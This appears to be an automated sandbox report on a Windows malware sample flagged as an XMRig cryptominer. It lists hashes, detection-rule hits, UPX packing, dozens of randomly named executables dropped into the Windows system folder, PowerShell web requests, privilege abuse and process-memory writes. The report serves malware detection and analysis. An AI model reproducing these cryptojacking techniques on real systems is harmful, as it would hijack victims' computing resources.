xmrig | 9173b6348b2c768df18cf2972c1a195dca20b379d1fea3bb88ceeedeec4fc898

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/06/2024, 14:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Size

3.3MB
MD5

1a4b07b92ed46657aa0dbaf55078fe10
SHA1

5e9d498c3b714185abdbaee5c4a9d07520414505
SHA256

9173b6348b2c768df18cf2972c1a195dca20b379d1fea3bb88ceeedeec4fc898
SHA512

fc7161053bf10cd1e3696c65aee6202be6b3dfd091144a989f4e821be7be0a75a9bef5835e501313ba1a2388d761f0e77f5776ad5ba773f16d1ca20f7d7dd260
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWJ:7bBeSFkF

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 51 IoCs

miner

resource	yara_rule
behavioral1/memory/1712-1-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/files/0x000d0000000153cf-8.dat	xmrig
behavioral1/memory/2632-22-0x000000013F9B0000-0x000000013FDA6000-memory.dmp	xmrig
behavioral1/memory/2800-23-0x000000013F750000-0x000000013FB46000-memory.dmp	xmrig
behavioral1/files/0x0007000000015cb9-27.dat	xmrig
behavioral1/memory/3028-30-0x000000013FCF0000-0x00000001400E6000-memory.dmp	xmrig
behavioral1/memory/3008-11-0x000000013F260000-0x000000013F656000-memory.dmp	xmrig
behavioral1/files/0x0007000000015cad-19.dat	xmrig
behavioral1/files/0x000a000000012255-6.dat	xmrig
behavioral1/files/0x0007000000015cc1-31.dat	xmrig
behavioral1/files/0x001400000000549e-60.dat	xmrig
behavioral1/files/0x0006000000016c7a-89.dat	xmrig
behavioral1/files/0x0006000000016c17-91.dat	xmrig
behavioral1/memory/2748-92-0x000000013FB90000-0x000000013FF86000-memory.dmp	xmrig
behavioral1/files/0x0006000000016c2e-103.dat	xmrig
behavioral1/files/0x0006000000016cc9-112.dat	xmrig
behavioral1/files/0x0006000000016cfe-132.dat	xmrig
behavioral1/files/0x0006000000016d0e-144.dat	xmrig
behavioral1/files/0x0006000000016d3b-159.dat	xmrig
behavioral1/files/0x0006000000016d67-173.dat	xmrig
behavioral1/files/0x0006000000017384-188.dat	xmrig
behavioral1/files/0x0006000000016d17-147.dat	xmrig
behavioral1/files/0x0006000000016d06-139.dat	xmrig
behavioral1/memory/3008-230-0x000000013F260000-0x000000013F656000-memory.dmp	xmrig
behavioral1/memory/1712-229-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/files/0x0006000000017060-180.dat	xmrig
behavioral1/files/0x0006000000016d44-166.dat	xmrig
behavioral1/files/0x0006000000016d1f-152.dat	xmrig
behavioral1/files/0x0006000000016cf5-127.dat	xmrig
behavioral1/files/0x0006000000016ced-122.dat	xmrig
behavioral1/files/0x0006000000016ce1-117.dat	xmrig
behavioral1/files/0x0006000000016cab-108.dat	xmrig
behavioral1/files/0x0006000000016a45-71.dat	xmrig
behavioral1/files/0x0007000000016597-70.dat	xmrig
behavioral1/memory/1488-99-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	xmrig
behavioral1/memory/2472-97-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	xmrig
behavioral1/memory/2900-93-0x000000013FD60000-0x0000000140156000-memory.dmp	xmrig
behavioral1/memory/2456-90-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	xmrig
behavioral1/files/0x0006000000016c26-88.dat	xmrig
behavioral1/files/0x00060000000167ef-86.dat	xmrig
behavioral1/files/0x0009000000015cdb-63.dat	xmrig
behavioral1/files/0x0034000000015c7c-48.dat	xmrig
behavioral1/memory/2420-40-0x000000013F4B0000-0x000000013F8A6000-memory.dmp	xmrig
behavioral1/files/0x0006000000017185-182.dat	xmrig
behavioral1/files/0x0006000000016f82-175.dat	xmrig
behavioral1/files/0x0006000000016d4b-168.dat	xmrig
behavioral1/files/0x0006000000016d40-161.dat	xmrig
behavioral1/files/0x0006000000016d27-154.dat	xmrig
behavioral1/memory/3008-6798-0x000000013F260000-0x000000013F656000-memory.dmp	xmrig
behavioral1/memory/1488-7180-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	xmrig
behavioral1/memory/2900-7182-0x000000013FD60000-0x0000000140156000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2492	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3008	lmyUjgW.exe
2632	IorBbGh.exe
2800	QYdyEqW.exe
3028	XTiIlDd.exe
2420	Gixmlou.exe
2472	PMIJqYX.exe
2456	uPydBsX.exe
1488	hBuVYCG.exe
2748	rBuzctL.exe
2900	JVttBqK.exe
2784	yzgqFrq.exe
2584	gRvoCpM.exe
836	kRzPDrN.exe
2928	DcnlVDp.exe
1192	CQcnRcQ.exe
2732	zVjMWYg.exe
320	zeAYVNT.exe
2040	avZEMOn.exe
2020	IglfUbG.exe
2192	xEalwxm.exe
2108	GmfUDsR.exe
1940	cccEobe.exe
1968	ZcWaeYC.exe
540	lQzBPnN.exe
1404	tnnhFgC.exe
580	xQFzUwc.exe
2268	kCBWxVB.exe
1456	ydXWjBW.exe
2360	ttKruhs.exe
3040	uZkYxdv.exe
1972	ZcsMyjL.exe
764	cQrujIb.exe
768	adwVJYG.exe
108	nDvtmQV.exe
648	pPflNNj.exe
2792	oVjSQcF.exe
2344	hoxKqfF.exe
1560	NMcrJqm.exe
1516	YOSYzXp.exe
1428	BncBffa.exe
1452	sFAHurc.exe
2780	zwzNKPp.exe
2508	BIjFbsd.exe
2432	NgAVmWM.exe
2620	jbRDeCX.exe
2592	djLWets.exe
2440	AfyQKtQ.exe
2052	oZAEXDK.exe
2896	DxdDWuN.exe
1104	NGNxkcb.exe
1416	dkJEWiZ.exe
1952	dqLnpBg.exe
2220	tPppAPu.exe
1904	FHkOyvb.exe
2368	qOfwAcv.exe
1692	dOLVPnw.exe
2100	RNfcGDr.exe
2212	snWuVaI.exe
2556	vTIhsxY.exe
2448	REUlZcg.exe
3088	rCFkBDK.exe
3120	rJAGUuU.exe
3152	seBMYUa.exe
3184	WKeboBA.exe

Loads dropped DLL 64 IoCs

pid	Process
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe

UPX packed file 51 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1712-1-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/files/0x000d0000000153cf-8.dat	upx
behavioral1/memory/2632-22-0x000000013F9B0000-0x000000013FDA6000-memory.dmp	upx
behavioral1/memory/2800-23-0x000000013F750000-0x000000013FB46000-memory.dmp	upx
behavioral1/files/0x0007000000015cb9-27.dat	upx
behavioral1/memory/3028-30-0x000000013FCF0000-0x00000001400E6000-memory.dmp	upx
behavioral1/memory/3008-11-0x000000013F260000-0x000000013F656000-memory.dmp	upx
behavioral1/files/0x0007000000015cad-19.dat	upx
behavioral1/files/0x000a000000012255-6.dat	upx
behavioral1/files/0x0007000000015cc1-31.dat	upx
behavioral1/files/0x001400000000549e-60.dat	upx
behavioral1/files/0x0006000000016c7a-89.dat	upx
behavioral1/files/0x0006000000016c17-91.dat	upx
behavioral1/memory/2748-92-0x000000013FB90000-0x000000013FF86000-memory.dmp	upx
behavioral1/files/0x0006000000016c2e-103.dat	upx
behavioral1/files/0x0006000000016cc9-112.dat	upx
behavioral1/files/0x0006000000016cfe-132.dat	upx
behavioral1/files/0x0006000000016d0e-144.dat	upx
behavioral1/files/0x0006000000016d3b-159.dat	upx
behavioral1/files/0x0006000000016d67-173.dat	upx
behavioral1/files/0x0006000000017384-188.dat	upx
behavioral1/files/0x0006000000016d17-147.dat	upx
behavioral1/files/0x0006000000016d06-139.dat	upx
behavioral1/memory/3008-230-0x000000013F260000-0x000000013F656000-memory.dmp	upx
behavioral1/memory/1712-229-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/files/0x0006000000017060-180.dat	upx
behavioral1/files/0x0006000000016d44-166.dat	upx
behavioral1/files/0x0006000000016d1f-152.dat	upx
behavioral1/files/0x0006000000016cf5-127.dat	upx
behavioral1/files/0x0006000000016ced-122.dat	upx
behavioral1/files/0x0006000000016ce1-117.dat	upx
behavioral1/files/0x0006000000016cab-108.dat	upx
behavioral1/files/0x0006000000016a45-71.dat	upx
behavioral1/files/0x0007000000016597-70.dat	upx
behavioral1/memory/1488-99-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	upx
behavioral1/memory/2472-97-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	upx
behavioral1/memory/2900-93-0x000000013FD60000-0x0000000140156000-memory.dmp	upx
behavioral1/memory/2456-90-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	upx
behavioral1/files/0x0006000000016c26-88.dat	upx
behavioral1/files/0x00060000000167ef-86.dat	upx
behavioral1/files/0x0009000000015cdb-63.dat	upx
behavioral1/files/0x0034000000015c7c-48.dat	upx
behavioral1/memory/2420-40-0x000000013F4B0000-0x000000013F8A6000-memory.dmp	upx
behavioral1/files/0x0006000000017185-182.dat	upx
behavioral1/files/0x0006000000016f82-175.dat	upx
behavioral1/files/0x0006000000016d4b-168.dat	upx
behavioral1/files/0x0006000000016d40-161.dat	upx
behavioral1/files/0x0006000000016d27-154.dat	upx
behavioral1/memory/3008-6798-0x000000013F260000-0x000000013F656000-memory.dmp	upx
behavioral1/memory/1488-7180-0x000000013F9F0000-0x000000013FDE6000-memory.dmp	upx
behavioral1/memory/2900-7182-0x000000013FD60000-0x0000000140156000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\FqzKZcM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\RxtFcxd.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\MLkAXxm.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\SadJfxw.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\zXxHbyM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\GxjGjNk.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ASGZciC.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\GbLsZNg.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\HvcbUTu.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\zpPfLLw.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\GeJkyBO.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QhEfeCh.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\bchbzVT.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AxXdutj.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\GqUArqn.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\LGkqtYs.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\YGTSoIc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\abSvmiv.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\zUCtntQ.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\aacKqrs.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\wdxQbPG.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\mjSoKGr.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\MtoVULV.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ykNfWuo.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AYkSnkX.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\akhOMaP.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AFXtaJI.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\oPNLSUE.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jKKyPmO.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jzlVqbT.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\nvblXlh.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\JQgUqdA.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\unjzBWl.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\sWcIWPg.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\iTlPqUd.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\tOMzDco.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ASdeTtx.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\iQPFSbz.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\BqXozoM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\uEPYVnf.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\RoJHZLI.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\qlHckTW.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\UxzSXXc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\cQAkPge.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\dwnJLaT.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AycyKnh.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\xmybSLx.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\bEYuDiz.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\VZotRJN.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ZhSxqzM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\VsAHxGf.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\mTkRnBt.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\dgdwFPm.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QzqFwUg.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\KlhJjRc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\lcLJRqE.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\eMpwPJO.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ofbtfuL.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jjhTsWd.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\TqOeDxO.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QPBTqBX.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\PIeraUI.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\fpAgVlS.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ixcyzIQ.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2492	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2492	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	29
PID 1712 wrote to memory of 2492	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	29
PID 1712 wrote to memory of 2492	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	29
PID 1712 wrote to memory of 3008	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	30
PID 1712 wrote to memory of 3008	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	30
PID 1712 wrote to memory of 3008	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	30
PID 1712 wrote to memory of 2632	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	31
PID 1712 wrote to memory of 2632	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	31
PID 1712 wrote to memory of 2632	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	31
PID 1712 wrote to memory of 2800	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	32
PID 1712 wrote to memory of 2800	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	32
PID 1712 wrote to memory of 2800	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	32
PID 1712 wrote to memory of 3028	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	33
PID 1712 wrote to memory of 3028	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	33
PID 1712 wrote to memory of 3028	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	33
PID 1712 wrote to memory of 2420	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	34
PID 1712 wrote to memory of 2420	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	34
PID 1712 wrote to memory of 2420	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	34
PID 1712 wrote to memory of 2472	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	35
PID 1712 wrote to memory of 2472	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	35
PID 1712 wrote to memory of 2472	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	35
PID 1712 wrote to memory of 2456	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	36
PID 1712 wrote to memory of 2456	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	36
PID 1712 wrote to memory of 2456	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	36
PID 1712 wrote to memory of 1488	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	37
PID 1712 wrote to memory of 1488	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	37
PID 1712 wrote to memory of 1488	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	37
PID 1712 wrote to memory of 2748	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	38
PID 1712 wrote to memory of 2748	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	38
PID 1712 wrote to memory of 2748	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	38
PID 1712 wrote to memory of 2784	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	39
PID 1712 wrote to memory of 2784	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	39
PID 1712 wrote to memory of 2784	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	39
PID 1712 wrote to memory of 2900	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	40
PID 1712 wrote to memory of 2900	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	40
PID 1712 wrote to memory of 2900	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	40
PID 1712 wrote to memory of 2928	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	41
PID 1712 wrote to memory of 2928	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	41
PID 1712 wrote to memory of 2928	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	41
PID 1712 wrote to memory of 2584	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	42
PID 1712 wrote to memory of 2584	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	42
PID 1712 wrote to memory of 2584	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	42
PID 1712 wrote to memory of 1192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	43
PID 1712 wrote to memory of 1192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	43
PID 1712 wrote to memory of 1192	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	43
PID 1712 wrote to memory of 836	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	44
PID 1712 wrote to memory of 836	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	44
PID 1712 wrote to memory of 836	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	44
PID 1712 wrote to memory of 2732	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	45
PID 1712 wrote to memory of 2732	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	45
PID 1712 wrote to memory of 2732	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	45
PID 1712 wrote to memory of 320	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	46
PID 1712 wrote to memory of 320	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	46
PID 1712 wrote to memory of 320	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	46
PID 1712 wrote to memory of 2040	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	47
PID 1712 wrote to memory of 2040	1712	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	47
